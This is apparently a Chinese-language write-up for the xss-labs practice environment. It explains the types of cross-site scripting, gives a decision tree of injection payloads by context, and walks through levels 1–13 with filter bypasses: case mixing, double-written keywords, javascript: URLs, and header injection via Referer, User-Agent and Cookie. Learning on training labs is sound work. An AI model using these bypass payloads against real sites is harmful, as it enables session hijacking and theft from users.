XSS-Bypass-Decision-Tree
Environment: PHP 7.3.4 + MySQL 5.7.26
Lab: xss-labs
1.0 概述
1.1 XSS 跨站脚本攻击 (Cross-Site Scripting)
攻击者往网页注入恶意 JavaScript 代码, 其他用户访问页面时脚本自动执行, 窃取用户信息, 劫持会话, 篡改页面, 诱导跳转钓鱼.
核心成因: 前端未过滤用户输入, 直接渲染到页面.
1.2 三大分类
01 存储型xss(持久型, 危害最大)
恶意代码存入服务器数据库, 所有访问该页面的用户都会触发
场景:评论区, 留言板, 帖子, 个人简介
示例留言:
1
<script>alert(document.cookie)</script>
存入数据库后, 任何人打开页面都会弹出 Cookie
02 反射型XSS(非持久型)
恶意代码放在 URL 参数里, 点开特制链接才触发, 不存入后端
后端直接把 keyword 拼到页面展示, 打开链接即执行脚本
03 DOM 型 XSS
漏洞完全发生在前端 JS, 数据不经过后端, 后端无日志记录
原理: JS 直接从 URL, location.hash 获取数据并插入 DOM
示例:
1
2let search = location.search.slice(1);
document.getElementById("tip").innerHTML = search;
2.0 XSS实战
2.1 XSS绕过决策树
01 HTML标签之间
1
<div>你的输入</div>
1
2
3<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>标准Payload
02 HTML属性值内
1
<input value="你的输入">
1
" onclick=alert(1) "
思路: 用” 闭合value属性, 用事件触发
03 JavaScript代码内
1
<script>var name='你的输入';</script>
1
2'; alert(1); //
"; alert(1); //04 href属性内
1
<a href="你的输入">link</a>
1
javascript:alert(1)
2.2 标准验证Payload
| 攻击向量 | Payload |
|---|---|
<script>标签 |
<script>alert(1)</script> |
<img>事件 |
<img src=x onerror=alert(1)> |
| 鼠标点击事件 | " onclick="alert(1) |
<a>伪协议 |
<a href="javascript:alert(1)">click</a> |
该Payload验证, 出现弹窗即存在xss漏洞
2.3 xss-labs通关实战
Level 1
1
<script>alert(1)</script>
该Payload直接通关
Level 2
测试Payload:
<Script'"Oonn>(后续关卡均使用该Payload测试)查看源码
![]()
可见
<>未被过滤,但 Payload 仍在value属性内,需用">提前闭合1
"><script>alert(1)</script>
Level 3
![]()
可见在第17行代码中, <> 和 “被编码, 尝试使用鼠标点击事件onclick
1
'onclick='alert(1)
![]()
输入框中写入Payload后点击触发事件过关
Level 4
1
<input name=keyword value="Script'"Oonn">
可见Payload被过滤掉<>, 使用和Level 3相同Payload即可, 只需修改闭合符
1
"onclick="alert(1)
![]()
Level 5
1
<input name=keyword value="<scr_ipt"'oo_nn>">
可见script和on关键字被过滤
使用伪协议:
1
"><a href="javascript:alert(1)">click</a>
![]()
Level 6
1
<input name=keyword value="<Script"'Oo_nn>">
on事件被过滤, 但大小写script混合未过滤
使用大小写混合:
1
"><Script>alert(1)</script>
成功跳转至Level 7
Level 7
1
<input name=keyword value="<"'on>">
整个script均被过滤, 但on还剩一个, 证明只做一次过滤
使用双写:
1
"><scscriptript>alert(1)</scscriptript>
逻辑: 源码只过滤一次script关键字, 双写刚好只剩一个完整
<script></script>
Level 8
![]()
源码可见注入发生在中, 且script会被过滤, 使用编码器将s编码
s使用伪协议:
1
javascript:alert(1)
![]()
Level 9
![]()
将链接改为标准格式即可
1
javascript:alert('http://baidu.com')
![]()
Level 10
主页无输入框, 且keyword的参数不影响value(通过以下源码可知)
![]()
![]()
通过源码可知, 传参点在input内
- 对t_link, t_history, t_sort 三个字段分别传参测试
t_link=1t_history=1t_sort=1![]()
可见注入点在t_sort字段中, 构造以下payload
1
click" type="button" onclick="alert(1)
![]()
Level 11
![]()
通过以上源码可知, 注入点在t_ref 且或许类似于Request的Referer字段, 利用burpsuite测试
![]()
抓包数据印证猜测无误, 本页面确实是由level 10 通过构造的t_sort Payload跳转
1
click" type="button" onclick="alert(1)
- 将Request中Referer字段值替换为以上Payload, Forward后得到以下结果:
![]()
Level 12
![]()
通过源码可知, t_ua 为Request中User-Agent字段, 同样使用burpsuite抓包
![]()
1
click" type="button" onclick="alert(1)
- 将Request中User-Agent字段值替换为以上Payload, Forward后得到以下结果:
![]()
Level 13
![]()
通过源码可知, t_cook 为Request中Cookie字段, 同样使用burpsuite抓包
![]()
1
click" type="button" onclick="alert(1)
- 将Request中Cookie字段值替换为以上Payload, Forward后得到以下结果:
![]()
2.4 总结
| Level | 考察点 |
|---|---|
| 1, 2 | 无过滤反射型 |
| 3, 4 | <>被编码 事件属性绕过 |
| 5 | <a>伪协议 |
| 6 | 大小写混合 |
| 7 | 双写绕过 |
| 8, 9 | 伪协议+实体化编码 |
| 10 | 隐藏属性+事件属性 |
| 11, 12, 13 | HTTP协议+Request请求头报文+隐藏属性+事件属性 |
Level 1-9 聚焦标签与属性注入绕过, Level 10-13 则将攻击面扩展到HTTP请求头与隐藏参数, 体现了真实攻防中的信息收集能力





















